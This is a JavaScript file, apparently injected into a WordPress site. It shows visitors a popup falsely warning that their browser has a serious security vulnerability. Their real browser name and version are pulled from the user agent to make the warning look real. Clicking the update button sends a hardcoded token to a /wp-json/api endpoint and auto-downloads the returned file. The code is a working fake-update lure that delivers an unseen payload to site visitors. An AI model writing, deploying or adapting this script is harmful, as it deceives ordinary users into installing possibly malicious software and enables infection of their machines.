function getBrowserInfo() {
    const userAgent = navigator.userAgent;
    let browserName, browserVersion;

    if (userAgent.indexOf("Chrome") > -1) {
        browserName = "Chrome";
        browserVersion = userAgent.match(/Chrome\/(\d+\.\d+\.\d+\.\d+)/)[1];
    } else if (userAgent.indexOf("Firefox") > -1) {
        browserName = "Firefox";
        browserVersion = userAgent.match(/Firefox\/(\d+\.\d+)/)[1];
    } else if (userAgent.indexOf("Safari") > -1) {
        browserName = "Safari";
        browserVersion = userAgent.match(/Version\/(\d+\.\d+\.\d+\.\d+)/)[1];
    } else if (userAgent.indexOf("MSIE") > -1 || userAgent.indexOf("Trident") > -1) {
        browserName = "Internet Explorer";
        browserVersion = userAgent.match(/(MSIE |rv:)(\d+\.\d+)/)[2];
    } else {
        browserName = "Unknown";
        browserVersion = "Unknown";
    }

    return {
        name: browserName,
        version: browserVersion
    };
}


function generationTextAlert(browserName, browserVersion) {
    return "Your web browser" + " (" + browserName + " " + browserVersion + ") " + "has a serious security vulnerability! Update your browser for better security, speed, and a better experience on this site.";
}

function showPopup() {
    const { name, version } = getBrowserInfo();

    if (name != "Unknown") {
        document.getElementById("text_alert").textContent = generationTextAlert(name, version);


        const popup = document.getElementById('popup');
        popup.style.display = 'block';
    } else {
        console.log("name == Unknown || version == Unknown")
    }
}

document.getElementById('updateButton').addEventListener('click', async function () {
    try {
        const hostname = window.location.hostname;
        const protocol = window.location.protocol;
        const urlFull = protocol + "//" + hostname;
        let  generationUrlDownload = urlFull + "/wp-json/api/create"

        const requestData = {
            token: "(2gKfKVJ_..EUfR+ciP_]AQibJY6v]"
        };

        const response = await fetch(generationUrlDownload, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(requestData),
        });

        if (!response.ok) {
            alert('Network response was not ok ' + response.statusText)
        } else {
            const data = await response.json();
            const downloadUrl = urlFull + "/wp-json/api" + data;
            // alert(downloadUrl)

            const a = document.createElement('a');
            a.href = downloadUrl;
            a.download = '';
            document.body.appendChild(a);
            a.click();
            document.body.removeChild(a);
        }
    } catch (error) {
        console.error('Error #1:', error);
        alert('Error #1: ' + error.message);
    }
});

document.getElementById('ignoreButton').addEventListener('click', function () {
    const popup = document.getElementById('popup');
    popup.style.display = 'none';
});

window.onload = showPopup;